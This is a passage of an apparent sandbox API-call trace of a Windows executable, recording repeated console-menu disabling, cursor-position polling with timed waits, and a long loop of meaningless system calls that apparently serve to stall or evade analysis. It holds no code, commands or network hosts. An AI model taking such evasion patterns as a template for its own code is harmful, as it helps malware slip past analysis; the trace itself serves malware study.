bRevert=0) returned 0x0 [0127.642] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0127.642] DrawMenuBar (hWnd=0x0) returned 0 [0127.642] GetConsoleWindow () returned 0x0 [0127.642] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0127.642] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0127.643] DrawMenuBar (hWnd=0x0) returned 0 [0127.643] GetConsoleWindow () returned 0x0 [0127.643] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0127.643] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0127.643] DrawMenuBar (hWnd=0x0) returned 0 [0127.643] GetConsoleWindow () returned 0x0 [0127.643] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0127.643] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0127.643] DrawMenuBar (hWnd=0x0) returned 0 [0127.643] GetConsoleWindow () returned 0x0 [0127.643] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0127.643] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0127.643] DrawMenuBar (hWnd=0x0) returned 0 [0127.643] GetConsoleWindow () returned 0x0 [0127.643] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0127.643] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0127.643] DrawMenuBar (hWnd=0x0) returned 0 [0127.643] GetConsoleWindow () returned 0x0 [0127.643] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0127.643] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0127.643] DrawMenuBar (hWnd=0x0) returned 0 [0127.643] GetConsoleWindow () returned 0x0 [0127.643] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0127.643] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0127.643] DrawMenuBar (hWnd=0x0) returned 0 [0127.643] GetConsoleWindow () returned 0x0 [0127.643] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0127.643] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0127.643] DrawMenuBar (hWnd=0x0) returned 0 [0127.643] GetConsoleWindow () returned 0x0 [0127.643] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0127.643] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0127.643] DrawMenuBar (hWnd=0x0) returned 0 [0127.643] GetConsoleWindow () returned 0x0 [0127.643] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0127.643] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0127.643] DrawMenuBar (hWnd=0x0) returned 0 [0127.643] GetConsoleWindow () returned 0x0 [0127.643] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0127.643] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0127.643] DrawMenuBar (hWnd=0x0) returned 0 [0127.643] GetConsoleWindow () returned 0x0 [0127.643] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0127.644] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0127.644] DrawMenuBar (hWnd=0x0) returned 0 [0127.644] GetConsoleWindow () returned 0x0 [0127.644] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0127.644] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0127.644] DrawMenuBar (hWnd=0x0) returned 0 [0127.644] GetConsoleWindow () returned 0x0 [0127.644] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0127.644] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0127.644] DrawMenuBar (hWnd=0x0) returned 0 [0127.644] GetConsoleWindow () returned 0x0 [0127.644] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0127.644] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0127.644] DrawMenuBar (hWnd=0x0) returned 0 [0127.655] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0127.655] GetCursorPos (in: lpPoint=0x18e4fc | out: lpPoint=0x18e4fc*(x=964, y=496)) returned 1 [0127.655] WaitForSingleObject (hHandle=0x168, dwMilliseconds=0xbb6) returned 0x102 [0130.819] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0130.819] GetCursorPos (in: lpPoint=0x18e4fc | out: lpPoint=0x18e4fc*(x=964, y=496)) returned 1 [0130.819] WaitForSingleObject (hHandle=0x168, dwMilliseconds=0xbb6) returned 0x102 [0134.013] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0134.013] GetCursorPos (in: lpPoint=0x18e4fc | out: lpPoint=0x18e4fc*(x=964, y=496)) returned 1 [0134.013] WaitForSingleObject (hHandle=0x168, dwMilliseconds=0xbb6) returned 0x102 [0137.314] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0137.314] GetCursorPos (in: lpPoint=0x18e4fc | out: lpPoint=0x18e4fc*(x=519, y=527)) returned 1 [0137.314] WaitForSingleObject (hHandle=0x168, dwMilliseconds=0xbb6) returned 0x102 [0140.489] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0140.489] GetCursorPos (in: lpPoint=0x18e4fc | out: lpPoint=0x18e4fc*(x=519, y=527)) returned 1 [0140.489] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0140.489] LoadImageA (hInst=0x400000, name=0xc, type=0x0, cx=0, cy=0, fuLoad=0x0) returned 0x0 [0140.489] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5be098 | out: hHeap=0x5b0000) returned 1 [0140.489] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5be070 | out: hHeap=0x5b0000) returned 1 [0140.489] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5bd8a8 | out: hHeap=0x5b0000) returned 1 [0140.489] DestroyWindow (hWnd=0x10136) returned 1 [0140.490] NtdllDefWindowProc_A (hWnd=0x10136, Msg=0x90, wParam=0x0, lParam=0x0) returned 0x0 [0140.495] NtdllDefWindowProc_A (hWnd=0x10136, Msg=0x82, wParam=0x0, lParam=0x0) returned 0x0 [0140.495] LoadBitmapA (hInstance=0x400000, lpBitmapName="PC") returned 0x0 [0140.495] ImageList_Add (himl=0x0, hbmImage=0x0, hbmMask=0x0) returned -1 [0140.496] WinWatchNotify () returned 0x0 [0140.496] timeGetTime () returned 0x11385c9 [0140.496] WinWatchOpen () returned 0x6000f0 [0140.496] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.497] LockResource (hResData=0x0) returned 0x0 [0140.497] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.498] WinWatchNotify () returned 0x0 [0140.498] timeGetTime () returned 0x11385cb [0140.498] WinWatchOpen () returned 0x600190 [0140.498] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.498] LockResource (hResData=0x0) returned 0x0 [0140.498] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.498] WinWatchNotify () returned 0x0 [0140.498] timeGetTime () returned 0x11385cb [0140.498] WinWatchOpen () returned 0x6001d0 [0140.498] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.498] LockResource (hResData=0x0) returned 0x0 [0140.498] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.498] WinWatchNotify () returned 0x0 [0140.498] timeGetTime () returned 0x11385cb [0140.498] WinWatchOpen () returned 0x600230 [0140.498] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.498] LockResource (hResData=0x0) returned 0x0 [0140.498] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.498] WinWatchNotify () returned 0x0 [0140.498] timeGetTime () returned 0x11385cb [0140.498] WinWatchOpen () returned 0x600130 [0140.498] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.498] LockResource (hResData=0x0) returned 0x0 [0140.498] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.498] WinWatchNotify () returned 0x0 [0140.498] timeGetTime () returned 0x11385cb [0140.498] WinWatchOpen () returned 0x62e610 [0140.498] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.498] LockResource (hResData=0x0) returned 0x0 [0140.498] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.498] WinWatchNotify () returned 0x0 [0140.498] timeGetTime () returned 0x11385cc [0140.498] WinWatchOpen () returned 0x62e590 [0140.498] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.498] LockResource (hResData=0x0) returned 0x0 [0140.498] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.499] WinWatchNotify () returned 0x0 [0140.499] timeGetTime () returned 0x11385cc [0140.499] WinWatchOpen () returned 0x62e650 [0140.499] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.499] LockResource (hResData=0x0) returned 0x0 [0140.499] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.499] WinWatchNotify () returned 0x0 [0140.499] timeGetTime () returned 0x11385cc [0140.499] WinWatchOpen () returned 0x62e670 [0140.499] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.499] LockResource (hResData=0x0) returned 0x0 [0140.499] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.499] WinWatchNotify () returned 0x0 [0140.499] timeGetTime () returned 0x11385cc [0140.499] WinWatchOpen () returned 0x62e690 [0140.499] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.499] LockResource (hResData=0x0) returned 0x0 [0140.499] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.499] WinWatchNotify () returned 0x0 [0140.499] timeGetTime () returned 0x11385cc [0140.499] WinWatchOpen () returned 0x62e6b0 [0140.499] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.499] LockResource (hResData=0x0) returned 0x0 [0140.499] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.499] WinWatchNotify () returned 0x0 [0140.499] timeGetTime () returned 0x11385cc [0140.499] WinWatchOpen () returned 0x62e6d0 [0140.499] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.499] LockResource (hResData=0x0) returned 0x0 [0140.499] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.499] WinWatchNotify () returned 0x0 [0140.499] timeGetTime () returned 0x11385cc [0140.499] WinWatchOpen () returned 0x62e6f0 [0140.499] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.499] LockResource (hResData=0x0) returned 0x0 [0140.499] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.499] WinWatchNotify () returned 0x0 [0140.499] timeGetTime () returned 0x11385cd [0140.499] WinWatchOpen () returned 0x62e710 [0140.499] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.500] LockResource (hResData=0x0) returned 0x0 [0140.500] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.500] WinWatchNotify () returned 0x0 [0140.500] timeGetTime () returned 0x11385cd [0140.500] WinWatchOpen () returned 0x62e730 [0140.500] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.500] LockResource (hResData=0x0) returned 0x0 [0140.500] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.500] WinWatchNotify () returned 0x0 [0140.500] timeGetTime () returned 0x11385cd [0140.500] WinWatchOpen () returned 0x62e750 [0140.500] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.500] LockResource (hResData=0x0) returned 0x0 [0140.500] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.500] WinWatchNotify () returned 0x0 [0140.500] timeGetTime () returned 0x11385cd [0140.500] WinWatchOpen () returned 0x62e770 [0140.500] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.500] LockResource (hResData=0x0) returned 0x0 [0140.500] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.500] WinWatchNotify () returned 0x0 [0140.500] timeGetTime () returned 0x11385cd [0140.500] WinWatchOpen () returned 0x62e790 [0140.500] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.500] LockResource (hResData=0x0) returned 0x0 [0140.500] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.500] WinWatchNotify () returned 0x0 [0140.500] timeGetTime () returned 0x11385cd [0140.500] WinWatchOpen () returned 0x62e7b0 [0140.500] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.500] LockResource (hResData=0x0) returned 0x0 [0140.500] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.500] WinWatchNotify () returned 0x0 [0140.500] timeGetTime () returned 0x11385cd [0140.500] WinWatchOpen () returned 0x62e7d0 [0140.500] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.500] LockResource (hResData=0x0) returned 0x0 [0140.500] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.501] WinWatchNotify () returned 0x0 [0140.501] timeGetTime () returned 0x11385ce [0140.501] WinWatchOpen () returned 0x62e7f0 [0140.501] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.501] LockResource (hResData=0x0) returned 0x0 [0140.501] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.501] WinWatchNotify () returned 0x0 [0140.501] timeGetTime () returned 0x11385ce [0140.501] WinWatchOpen () returned 0x62e810 [0140.501] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.501] LockResource (hResData=0x0) returned 0x0 [0140.501] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.501] WinWatchNotify () returned 0x0 [0140.501] timeGetTime () returned 0x11385ce [0140.501] WinWatchOpen () returned 0x62e830 [0140.501] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.501] LockResource (hResData=0x0) returned 0x0 [0140.501] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.501] WinWatchNotify () returned 0x0 [0140.501] timeGetTime () returned 0x11385ce [0140.501] WinWatchOpen () returned 0x62e850 [0140.501] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.501] LockResource (hResData=0x0) returned 0x0 [0140.501] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.501] WinWatchNotify () returned 0x0 [0140.501] timeGetTime () returned 0x11385ce [0140.501] WinWatchOpen () returned 0x62e870 [0140.501] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.501] LockResource (hResData=0x0) returned 0x0 [0140.501] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.501] WinWatchNotify () returned 0x0 [0140.501] timeGetTime () returned 0x11385cf [0140.501] WinWatchOpen () returned 0x62e890 [0140.501] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.501] LockResource (hResData=0x0) returned 0x0 [0140.502] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.502] WinWatchNotify () returned 0x0 [0140.502] timeGetTime () returned 0x11385cf [0140.502] WinWatchOpen () returned 0x62e8b0 [0140.502] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.502] LockResource (hResData=0x0) returned 0x0 [0140.502] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.502] WinWatchNotify () returned 0x0 [0140.502] timeGetTime () returned 0x11385cf [0140.502] WinWatchOpen () returned 0x62e8d0 [0140.502] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.502] LockResource (hResData=0x0) returned 0x0 [0140.502] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.502] WinWatchNotify () returned 0x0 [0140.502] timeGetTime () returned 0x11385cf [0140.502] WinWatchOpen () returned 0x62e8f0 [0140.502] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.502] LockResource (hResData=0x0) returned 0x0 [0140.502] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.502] WinWatchNotify () returned 0x0 [0140.502] timeGetTime () returned 0x11385cf [0140.502] WinWatchOpen () returned 0x62e910 [0140.502] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.502] LockResource (hResData=0x0) returned 0x0 [0140.502] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.502] WinWatchNotify () returned 0x0 [0140.502] timeGetTime () returned 0x11385cf [0140.502] WinWatchOpen () returned 0x62e930 [0140.502] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.502] LockResource (hResData=0x0) returned 0x0 [0140.502] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.502] WinWatchNotify () returned 0x0 [0140.502] timeGetTime () returned 0x11385cf [0140.502] WinWatchOpen () returned 0x62e950 [0140.502] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.502] LockResource (hResData=0x0) returned 0x0 [0140.502] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.502] WinWatchNotify () returned 0x0 [0140.502] timeGetTime () returned 0x11385d0 [0140.502] WinWatchOpen () returned 0x62e970 [0140.502] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.502] LockResource (hResData=0x0) returned 0x0 [0140.503] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.503] WinWatchNotify () returned 0x0 [0140.503] timeGetTime () returned 0x11385d0 [0140.503] WinWatchOpen () returned 0x62e990 [0140.503] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.503] LockResource (hResData=0x0) returned 0x0 [0140.503] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.503] WinWatchNotify () returned 0x0 [0140.503] timeGetTime () returned 0x11385d0 [0140.503] WinWatchOpen () returned 0x62e9b0 [0140.503] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.503] LockResource (hResData=0x0) returned 0x0 [0140.503] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.503] WinWatchNotify () returned 0x0 [0140.503] timeGetTime () returned 0x11385d0 [0140.503] WinWatchOpen () returned 0x62e9d0 [0140.503] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.503] LockResource (hResData=0x0) returned 0x0 [0140.503] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.503] WinWatchNotify () returned 0x0 [0140.503] timeGetTime () returned 0x11385d0 [0140.503] WinWatchOpen () returned 0x62e9f0 [0140.503] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.503] LockResource (hResData=0x0) returned 0x0 [0140.503] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.503] WinWatchNotify () returned 0x0 [0140.503] timeGetTime () returned 0x11385d0 [0140.503] WinWatchOpen () returned 0x62ea10 [0140.503] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.503] LockResource (hResData=0x0) returned 0x0 [0140.503] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.503] WinWatchNotify () returned 0x0 [0140.503] timeGetTime () returned 0x11385d0 [0140.503] WinWatchOpen () returned 0x62ea30 [0140.503] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.503] LockResource (hResData=0x0) returned 0x0 [0140.503] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.503] WinWatchNotify () returned 0x0 [0140.503] timeGetTime () returned 0x11385d1 [0140.503] WinWatchOpen () returned 0x62ea50 [0140.503] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.504] LockResource (hResData=0x0) returned 0x0 [0140.504] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.504] WinWatchNotify () returned 0x0 [0140.504] timeGetTime () returned 0x11385d1 [0140.504] WinWatchOpen () returned 0x62ea70 [0140.504] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.504] LockResource (hResData=0x0) returned 0x0 [0140.504] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.504] WinWatchNotify () returned 0x0 [0140.504] timeGetTime () returned 0x11385d1 [0140.504] WinWatchOpen () returned 0x62ea90 [0140.504] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.504] LockResource (hResData=0x0) returned 0x0 [0140.504] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.504] WinWatchNotify () returned 0x0 [0140.504] timeGetTime () returned 0x11385d1 [0140.504] WinWatchOpen () returned 0x62eab0 [0140.504] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.504] LockResource (hResData=0x0) returned 0x0 [0140.504] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.504] WinWatchNotify () returned 0x0 [0140.504] timeGetTime () returned 0x11385d1 [0140.504] WinWatchOpen () returned 0x62ead0 [0140.504] 